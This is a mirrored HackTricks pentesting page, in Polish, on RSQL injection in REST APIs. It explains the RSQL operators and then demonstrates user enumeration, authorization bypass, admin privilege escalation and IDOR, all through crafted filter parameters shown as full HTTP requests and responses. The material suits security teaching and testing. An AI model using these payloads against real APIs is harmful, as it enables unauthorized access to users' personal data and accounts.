mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
573 lines
22 KiB
Markdown
573 lines
22 KiB
Markdown
# RSQL Injection
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Czym jest RSQL?
|
|
RSQL to język zapytań zaprojektowany do parametryzowanego filtrowania danych wejściowych w interfejsach API RESTful. Oparty na FIQL (Feed Item Query Language), pierwotnie określonym przez Marka Nottingham'a do zapytań o kanały Atom, RSQL wyróżnia się prostotą i zdolnością do wyrażania złożonych zapytań w kompaktowy i zgodny z URI sposób przez HTTP. Czyni to go doskonałym wyborem jako ogólny język zapytań do wyszukiwania w punktach końcowych REST.
|
|
|
|
## Przegląd
|
|
RSQL Injection to luka w aplikacjach internetowych, które używają RSQL jako języka zapytań w interfejsach API RESTful. Podobnie jak [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) i [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), ta luka występuje, gdy filtry RSQL nie są odpowiednio oczyszczane, co pozwala atakującemu na wstrzykiwanie złośliwych zapytań w celu uzyskania dostępu, modyfikacji lub usunięcia danych bez autoryzacji.
|
|
|
|
## Jak to działa?
|
|
RSQL pozwala na budowanie zaawansowanych zapytań w interfejsach API RESTful, na przykład:
|
|
```bash
|
|
/products?filter=price>100;category==electronics
|
|
```
|
|
To tłumaczy się na uporządkowane zapytanie, które filtruje produkty o cenie większej niż 100 i kategorii „elektronika”.
|
|
|
|
Jeśli aplikacja nieprawidłowo waliduje dane wejściowe użytkownika, atakujący może manipulować filtrem, aby wykonać nieoczekiwane zapytania, takie jak:
|
|
```bash
|
|
/products?filter=id=in=(1,2,3);delete_all==true
|
|
```
|
|
Or even take advantage to extract sensitive information with Boolean queries or nested subqueries.
|
|
|
|
## Ryzyko
|
|
- **Ekspozycja danych wrażliwych:** Atakujący może uzyskać informacje, które nie powinny być dostępne.
|
|
- **Modyfikacja lub usunięcie danych:** Wstrzyknięcie filtrów, które zmieniają rekordy w bazie danych.
|
|
- **Escalacja uprawnień:** Manipulacja identyfikatorami, które przyznają role przez filtry, aby oszukać aplikację, uzyskując dostęp z uprawnieniami innych użytkowników.
|
|
- **Unikanie kontroli dostępu:** Manipulacja filtrami w celu uzyskania dostępu do zastrzeżonych danych.
|
|
- **Podszywanie się lub IDOR:** Modyfikacja identyfikatorów między użytkownikami przez filtry, które pozwalają na dostęp do informacji i zasobów innych użytkowników bez odpowiedniej autoryzacji.
|
|
|
|
## Obsługiwane operatory RSQL
|
|
| Operator | Opis | Przykład |
|
|
|:----: |:----: |:------------------:|
|
|
| `;` / `and` | Logiczny operator **AND**. Filtruje wiersze, gdzie *oba* warunki są *prawdziwe* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
|
|
| `,` / `or` | Logiczny operator **OR**. Filtruje wiersze, gdzie *przynajmniej jeden* warunek jest *prawdziwy*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
|
|
| `==` | Wykonuje zapytanie **równości**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* dokładnie równe są *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
|
|
| `=q=` | Wykonuje zapytanie **wyszukiwania**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* zawierają *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
|
|
| `=like=` | Wykonuje zapytanie **jak**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* są podobne do *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
|
|
| `=in=` | Wykonuje zapytanie **in**. Zwraca wszystkie wiersze z *myTable*, gdzie *columnA* zawiera *valueA* LUB *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
|
|
| `=out=` | Wykonuje zapytanie **wyklucz**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* nie są ani *valueA*, ani *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
|
|
| `!=` | Wykonuje zapytanie *nie równa się*. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* nie są równe *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
|
|
| `=notlike=` | Wykonuje zapytanie **nie jak**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* nie są podobne do *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
|
|
| `<` & `=lt=` | Wykonuje zapytanie **mniejsze niż**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* są mniejsze niż *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
|
|
| `=le=` & `<=` | Wykonuje zapytanie **mniejsze niż** lub **równe**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* są mniejsze lub równe *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
|
|
| `>` & `=gt=` | Wykonuje zapytanie **większe niż**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* są większe niż *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
|
|
| `>=` & `=ge=` | Wykonuje zapytanie **równe** lub **większe niż**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* są równe lub większe niż *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
|
|
| `=rng=` | Wykonuje zapytanie **od do**. Zwraca wszystkie wiersze z *myTable*, gdzie wartości w *columnA* są równe lub większe niż *fromValue*, i mniejsze lub równe *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
|
|
|
|
**Uwaga**: Tabela oparta na informacjach z aplikacji [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) i [**rsql-parser**](https://github.com/jirutka/rsql-parser).
|
|
|
|
#### Przykłady
|
|
- name=="Kill Bill";year=gt=2003
|
|
- name=="Kill Bill" and year>2003
|
|
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
|
|
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
|
|
- director.lastName==Nolan;year=ge=2000;year=lt=2010
|
|
- director.lastName==Nolan and year>=2000 and year<2010
|
|
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
|
|
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
|
|
|
|
**Uwaga**: Tabela oparta na informacjach z aplikacji [**rsql-parser**](https://github.com/jirutka/rsql-parser).
|
|
|
|
## Typowe filtry
|
|
Te filtry pomagają w precyzowaniu zapytań w API:
|
|
|
|
| Filtr | Opis | Przykład |
|
|
|--------|------------|---------|
|
|
| `filter[users]` | Filtruje wyniki według konkretnych użytkowników | `/api/v2/myTable?filter[users]=123` |
|
|
| `filter[status]` | Filtruje według statusu (aktywny/nieaktywny, zakończony itp.) | `/api/v2/orders?filter[status]=active` |
|
|
| `filter[date]` | Filtruje wyniki w określonym zakresie dat | `/api/v2/logs?filter[date]=gte:2024-01-01` |
|
|
| `filter[category]` | Filtruje według kategorii lub typu zasobu | `/api/v2/products?filter[category]=electronics` |
|
|
| `filter[id]` | Filtruje według unikalnego identyfikatora | `/api/v2/posts?filter[id]=42` |
|
|
|
|
## Typowe parametry
|
|
Te parametry pomagają w optymalizacji odpowiedzi API:
|
|
|
|
| Parametr | Opis | Przykład |
|
|
|-----------|------------|---------|
|
|
| `include` | Zawiera powiązane zasoby w odpowiedzi | `/api/v2/orders?include=customer,items` |
|
|
| `sort` | Sortuje wyniki w porządku rosnącym lub malejącym | `/api/v2/users?sort=-created_at` |
|
|
| `page[size]` | Kontroluje liczbę wyników na stronę | `/api/v2/products?page[size]=10` |
|
|
| `page[number]` | Określa numer strony | `/api/v2/products?page[number]=2` |
|
|
| `fields[resource]` | Definiuje, które pola mają być zwrócone w odpowiedzi | `/api/v2/users?fields[users]=id,name,email` |
|
|
| `search` | Wykonuje bardziej elastyczne wyszukiwanie | `/api/v2/posts?search=technology` |
|
|
|
|
## Wycieki informacji i enumeracja użytkowników
|
|
Poniższe zapytanie pokazuje punkt końcowy rejestracji, który wymaga parametru email, aby sprawdzić, czy istnieje jakikolwiek zarejestrowany użytkownik z tym adresem e-mail i zwrócić wartość prawda lub fałsz w zależności od tego, czy istnieje w bazie danych:
|
|
### Zapytanie
|
|
```
|
|
GET /api/registrations HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Origin: https://localhost:3000
|
|
Connection: keep-alive
|
|
Referer: https://localhost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 400
|
|
Date: Sat, 22 Mar 2025 14:47:14 GMT
|
|
Content-Type: application/vnd.api+json
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
Content-Length: 85
|
|
|
|
{
|
|
"errors": [{
|
|
"code": "BLANK",
|
|
"detail": "Missing required param: email",
|
|
"status": "400"
|
|
}]
|
|
}
|
|
```
|
|
Chociaż oczekiwane jest `/api/registrations?email=<emailAccount>`, możliwe jest użycie filtrów RSQL do próby enumeracji i/lub wydobywania informacji o użytkownikach za pomocą specjalnych operatorów:
|
|
### Request
|
|
```
|
|
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Origin: https://locahost:3000
|
|
Connection: keep-alive
|
|
Referer: https://locahost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 200
|
|
Date: Sat, 22 Mar 2025 14:09:38 GMT
|
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
|
Content-Length: 38
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
|
|
{
|
|
"data": {
|
|
"attributes": {
|
|
"tenants": []
|
|
}
|
|
}
|
|
}
|
|
```
|
|
W przypadku dopasowania ważnego konta e-mail, aplikacja zwróci informacje o użytkowniku zamiast klasycznego *„true”*, *"1"* lub czegokolwiek innego w odpowiedzi do serwera:
|
|
### Request
|
|
```
|
|
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Origin: https://localhost:3000
|
|
Connection: keep-alive
|
|
Referer: https://localhost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 200
|
|
Date: Sat, 22 Mar 2025 14:19:46 GMT
|
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
|
Content-Length: 293
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
|
|
{
|
|
"data": {
|
|
"id": "********************",
|
|
"type": "UserAccountDTO",
|
|
"attributes": {
|
|
"id": "********************",
|
|
"type": "UserAccountDTO",
|
|
"email": "manuel**********@domain.local",
|
|
"sub": "*********************",
|
|
"status": "ACTIVE",
|
|
"tenants": [{
|
|
"id": "1"
|
|
}]
|
|
}
|
|
}
|
|
}
|
|
```
|
|
## Ominięcie autoryzacji
|
|
W tym scenariuszu zaczynamy od użytkownika z podstawową rolą, w którym nie mamy uprawnień uprzywilejowanych (np. administratora) do uzyskania dostępu do listy wszystkich użytkowników zarejestrowanych w bazie danych:
|
|
### Żądanie
|
|
```
|
|
GET /api/users HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Authorization: Bearer eyJhb.................
|
|
Origin: https://localhost:3000
|
|
Connection: keep-alive
|
|
Referer: https://localhost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 403
|
|
Date: Sat, 22 Mar 2025 14:40:07 GMT
|
|
Content-Length: 0
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
```
|
|
Ponownie korzystamy z filtrów i specjalnych operatorów, które pozwolą nam na alternatywny sposób uzyskania informacji o użytkownikach i ominięcia kontroli dostępu. Na przykład, filtruj według tych *użytkowników*, którzy zawierają literę “*a*” w swoim *ID* użytkownika:
|
|
### Request
|
|
```
|
|
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Authorization: Bearer eyJhb.................
|
|
Origin: https://localhost:3000
|
|
Connection: keep-alive
|
|
Referer: https://localhost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 200
|
|
Date: Sat, 22 Mar 2025 14:43:28 GMT
|
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
|
Content-Length: 1434192
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
|
|
{
|
|
"data": [{
|
|
"id": "********A***********",
|
|
"type": "UserGetResponseCustomDTO",
|
|
"attributes": {
|
|
"status": "ACTIVE",
|
|
"countryId": 63,
|
|
"timeZoneId": 3,
|
|
"translationKey": "************",
|
|
"email": "**********@domain.local",
|
|
"firstName": "rafael",
|
|
"surname": "************",
|
|
"telephoneCountryCode": "**",
|
|
"mobilePhone": "*********",
|
|
"taxIdentifier": "********",
|
|
"languageId": 1,
|
|
"createdAt": "2024-08-09T10:57:41.237Z",
|
|
"termsOfUseAccepted": true,
|
|
"id": "******************",
|
|
"type": "UserGetResponseCustomDTO"
|
|
}
|
|
}, {
|
|
"id": "*A*******A*****A*******A******",
|
|
"type": "UserGetResponseCustomDTO",
|
|
"attributes": {
|
|
"status": "ACTIVE",
|
|
"countryId": 63,
|
|
"timeZoneId": 3,
|
|
"translationKey": ""************",
|
|
"email": "juan*******@domain.local",
|
|
"firstName": "juan",
|
|
"surname": ""************",",
|
|
"telephoneCountryCode": "**",
|
|
"mobilePhone": "************",
|
|
"taxIdentifier": "************",
|
|
"languageId": 1,
|
|
"createdAt": "2024-07-18T06:07:37.68Z",
|
|
"termsOfUseAccepted": true,
|
|
"id": "*******************",
|
|
"type": "UserGetResponseCustomDTO"
|
|
}
|
|
}, {
|
|
................
|
|
```
|
|
## Eskalacja Uprawnień
|
|
Bardzo prawdopodobne jest znalezienie określonych punktów końcowych, które sprawdzają uprawnienia użytkownika na podstawie jego roli. Na przykład mamy do czynienia z użytkownikiem, który nie ma uprawnień:
|
|
### Żądanie
|
|
```
|
|
GET /api/companyUsers?include=role HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Authorization: Bearer eyJhb......
|
|
Origin: https://localhost:3000
|
|
Connection: keep-alive
|
|
Referer: https://localhost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 200
|
|
Date: Sat, 22 Mar 2025 19:13:08 GMT
|
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
|
Content-Length: 11
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
|
|
{
|
|
"data": []
|
|
}
|
|
```
|
|
Używając określonych operatorów, możemy enumerować użytkowników administratorów:
|
|
### Request
|
|
```
|
|
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Authorization: Bearer eyJh.....
|
|
Origin: https://localhost:3000
|
|
Connection: keep-alive
|
|
Referer: https://localhost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 200
|
|
Date: Sat, 22 Mar 2025 19:13:45 GMT
|
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
|
Content-Length: 361
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
|
|
{
|
|
"data": [{
|
|
"type": "CompanyUserGetResponseDTO",
|
|
"attributes": {
|
|
"companyId": "FA**************",
|
|
"companyTaxIdentifier": "B999*******",
|
|
"bizName": "company sl",
|
|
"email": "jose*******@domain.local",
|
|
"userRole": {
|
|
"userRoleId": 1,
|
|
"userRoleKey": "general.roles.admin"
|
|
},
|
|
"companyCountryTranslationKey": "*******",
|
|
"type": "CompanyUserGetResponseDTO"
|
|
}
|
|
}]
|
|
}
|
|
```
|
|
Po poznaniu identyfikatora użytkownika administratora, możliwe byłoby wykorzystanie eskalacji uprawnień poprzez zastąpienie lub dodanie odpowiedniego filtra z identyfikatorem administratora i uzyskanie tych samych uprawnień:
|
|
### Request
|
|
```
|
|
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Authorization: Bearer eyJ.....
|
|
Origin: https:/localhost:3000
|
|
Connection: keep-alive
|
|
Referer: https:/localhost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 200
|
|
Date: Sat, 22 Mar 2025 18:53:00 GMT
|
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
|
Content-Length: 68833
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
|
|
{
|
|
"meta": {
|
|
"Functionalities": [{
|
|
"functionalityId": 1,
|
|
"permissionId": 1,
|
|
"effectivePriority": "PERMIT",
|
|
"effectiveBehavior": "PERMIT",
|
|
"translationKey": "general.userProfile",
|
|
"type": "FunctionalityPermissionDTO"
|
|
}, {
|
|
"functionalityId": 2,
|
|
"permissionId": 2,
|
|
"effectivePriority": "PERMIT",
|
|
"effectiveBehavior": "PERMIT",
|
|
"translationKey": "general.my_profile",
|
|
"type": "FunctionalityPermissionDTO"
|
|
}, {
|
|
"functionalityId": 3,
|
|
"permissionId": 3,
|
|
"effectivePriority": "PERMIT",
|
|
"effectiveBehavior": "PERMIT",
|
|
"translationKey": "layout.change_user_data",
|
|
"type": "FunctionalityPermissionDTO"
|
|
}, {
|
|
"functionalityId": 4,
|
|
"permissionId": 4,
|
|
"effectivePriority": "PERMIT",
|
|
"effectiveBehavior": "PERMIT",
|
|
"translationKey": "general.configuration",
|
|
"type": "FunctionalityPermissionDTO"
|
|
}, {
|
|
.......
|
|
```
|
|
## Podszywanie się lub Niebezpieczne Bezpośrednie Odwołania do Obiektów (IDOR)
|
|
Oprócz użycia parametru `filter`, możliwe jest użycie innych parametrów, takich jak `include`, który pozwala na uwzględnienie w wyniku określonych parametrów (np. język, kraj, hasło...).
|
|
|
|
W następującym przykładzie pokazane są informacje o naszym profilu użytkownika:
|
|
### Żądanie
|
|
```
|
|
GET /api/users?include=language,country HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Authorization: Bearer eyJ......
|
|
Origin: https://localhost:3000
|
|
Connection: keep-alive
|
|
Referer: https://localhost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 200
|
|
Date: Sat, 22 Mar 2025 19:47:27 GMT
|
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
|
Content-Length: 540
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
|
|
{
|
|
"data": [{
|
|
"id": "D5********************",
|
|
"type": "UserGetResponseCustomDTO",
|
|
"attributes": {
|
|
"status": "ACTIVE",
|
|
"countryId": 63,
|
|
"timeZoneId": 3,
|
|
"translationKey": "**********",
|
|
"email": "domingo....@domain.local",
|
|
"firstName": "Domingo",
|
|
"surname": "**********",
|
|
"telephoneCountryCode": "**",
|
|
"mobilePhone": "******",
|
|
"languageId": 1,
|
|
"createdAt": "2024-03-11T07:24:57.627Z",
|
|
"termsOfUseAccepted": true,
|
|
"howMeetUs": "**************",
|
|
"id": "D5********************",
|
|
"type": "UserGetResponseCustomDTO"
|
|
}
|
|
}]
|
|
}
|
|
```
|
|
Kombinacja filtrów może być użyta do ominięcia kontroli autoryzacji i uzyskania dostępu do profili innych użytkowników:
|
|
### Request
|
|
```
|
|
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
|
|
Host: localhost:3000
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
|
Accept: application/vnd.api+json
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br, zstd
|
|
Content-Type: application/vnd.api+json
|
|
Authorization: Bearer eyJ....
|
|
Origin: https://localhost:3000
|
|
Connection: keep-alive
|
|
Referer: https://localhost:3000/
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-site
|
|
```
|
|
### Odpowiedź
|
|
```
|
|
HTTP/1.1 200
|
|
Date: Sat, 22 Mar 2025 19:50:07 GMT
|
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
|
Content-Length: 520
|
|
Connection: keep-alive
|
|
Vary: Origin
|
|
Vary: Access-Control-Request-Method
|
|
Vary: Access-Control-Request-Headers
|
|
Access-Control-Allow-Origin: *
|
|
|
|
{
|
|
"data": [{
|
|
"id": "94******************",
|
|
"type": "UserGetResponseCustomDTO",
|
|
"attributes": {
|
|
"status": "ACTIVE",
|
|
"countryId": 63,
|
|
"timeZoneId": 2,
|
|
"translationKey": "**************",
|
|
"email": "jose******@domain.local",
|
|
"firstName": "jose",
|
|
"surname": "***************",
|
|
"telephoneCountryCode": "**",
|
|
"mobilePhone": "********",
|
|
"taxIdentifier": "*********",
|
|
"languageId": 1,
|
|
"createdAt": "2024-11-21T08:29:05.833Z",
|
|
"termsOfUseAccepted": true,
|
|
"id": "94******************",
|
|
"type": "UserGetResponseCustomDTO"
|
|
}
|
|
}]
|
|
}
|
|
```
|
|
## Odniesienia
|
|
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
|
|
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|